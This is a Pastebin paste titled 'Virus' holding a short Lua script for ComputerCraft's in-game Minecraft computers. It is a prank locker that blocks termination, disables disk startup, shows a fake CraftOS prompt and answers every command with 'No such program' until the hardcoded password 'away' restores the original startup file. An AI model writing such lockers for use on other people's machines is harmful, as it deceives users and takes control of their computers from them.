Advertisement
Guest User

Virus

a guest
May 25th, 2016
56
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 0.76 KB | None | 0 0
  1. shell.run("set shell.allow_disk_startup false")
  2. os.pullEvent = os.pullEventRaw
  3. term.clear()
  4. term.setCursorPos(1,1)
  5. password = "away"
  6. term.setTextColor( colors.yellow )
  7. print("CraftOS 1.7")
  8. function trolol()
  9. term.setTextColor( colors.yellow )
  10. write("> ")
  11. term.setTextColor( colors.white )
  12. aba = read()
  13. if aba == password then
  14.   shell.run("set shell.allow_disk_startup true")
  15.   term.clear()
  16.   term.setCursorPos(1,1)
  17.   term.setTextColor( colors.green )
  18.   print("Daten sind wieder Frei!")
  19.   term.setTextColor( colors.white )
  20.   shell.run("delete startup")
  21.   shell.run("copy savestartup startup")
  22.   shell.run("delete savestartup")
  23. else
  24.   term.setTextColor( colors.red )
  25.   print("No such program")
  26.   term.setTextColor( colors.white )
  27.   trolol()
  28. end
  29. end
  30. trolol()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement